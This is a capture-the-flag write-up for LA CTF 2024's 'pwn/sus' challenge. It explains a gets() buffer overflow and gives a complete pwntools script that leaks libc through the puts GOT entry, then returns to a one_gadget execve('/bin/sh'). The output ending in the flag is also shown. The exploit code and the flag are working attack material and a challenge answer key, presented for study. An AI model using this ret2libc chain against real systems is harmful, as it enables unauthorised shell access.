4.2 KiB
| title | date | tags | ||
|---|---|---|---|---|
| LA CTF 2024: pwn/sus | 2024-02-21 |
|
Task
pwn/sus
sus
nc chall.lac.tf 31284
Author: kaiphaitPoints: 426Solves: 136 / 1074 (12.663%)
Writeup
The challenge is a very short program that reads our input and returns:
#include <stdio.h>
void sus(long s) {}
int main(void) {
setbuf(stdout, NULL);
long u = 69;
puts("sus?");
char buf[42];
gets(buf);
sus(u);
}
We see that the program uses gets, so we can perform a buffer overflow.
Running the program with gdb, we can see that main's stack frame is as follows:
rbp - 0x40 | char buf[42]
...
rbp - 0x08 | long u
rbp | saved rbp
rbp + 0x08 | saved rip
To exploit the buffer overflow, we will overwrite the saved return address at rbp + 0x08 to an address in libc that runs /bin/sh.
But first, we need to leak libc's address. Since u is passed as an argument to sus, we can control the value of rdi when main returns, letting us control the first argument of the function we return to.
We can overwrite the saved rip to return to puts and overwrite u to the address of the GOT entry of puts. This will cause the program to print out the address of puts after we return. Then we can write the address of main to rbp + 0x10 to rerun main after the call to puts, allowing us to send more input once we determine the address of libc.
So far, our script looks like this:
from pwn import context, remote, ELF, flat, u64
context.arch = 'x86-64'
p = remote('chall.lac.tf', 31284)
e = ELF('/tmp/sus')
libc = ELF('/tmp/libc.so.6')
p.sendline(flat(
# padding (buf)
[0] * 7,
# overwrite u (for rdi)
e.got['puts'],
# padding (rbp)
0,
# overwrite rip
e.plt['puts'],
# return back to main after leaking address of puts
e.symbols['main']
))
p.recvuntil(b'sus?\n')
puts_addr = u64(p.recvuntil(b'\n')[:-1] + b'\x00\x00')
libc_addr = puts_addr - libc.symbols['puts']
Now that we know the address of libc, we can run one_gadget on the version of libc the program uses to find a good address to return to:
$ one_gadget /tmp/libc.so.6
0x4c139 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
constraints:
address rsp+0x60 is writable
rsp & 0xf == 0
rax == NULL || {"sh", rax, r12, NULL} is a valid argv
rbx == NULL || (u16)[rbx] == NULL
0x4c140 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
constraints:
address rsp+0x60 is writable
rsp & 0xf == 0
rcx == NULL || {rcx, rax, r12, NULL} is a valid argv
rbx == NULL || (u16)[rbx] == NULL
0xd509f execve("/bin/sh", rbp-0x40, r13)
constraints:
address rbp-0x38 is writable
rdi == NULL || {"/bin/sh", rdi, NULL} is a valid argv
[r13] == NULL || r13 == NULL || r13 is a valid envp
The best option is the third one, since r13 points to the original envp when we return from main, and we have control over the values of rdi and rbp.
To meet the first constraint, there is a writable section in libc that we can use for rbp, starting at offset 0x1d2000. Now we can add the following to our script and get a shell:
p.sendline(flat(
# padding (buf)
[0] * 7,
# overwrite u (for rdi)
0,
# overwrite rbp
libc_addr + 0x1d2000 + 10000,
# overwrite rip
libc_addr + 0xd509f
))
p.interactive()
Now we run the following commands and get the flag:
$ python sus.py
[+] Opening connection to chall.lac.tf on port 31284: Done
[*] '/tmp/sus'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/tmp/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Switching to interactive mode
sus?
$ ls
flag.txt
run
$ cat flag.txt
lactf{amongsus_aek7d2hqhgj29v21}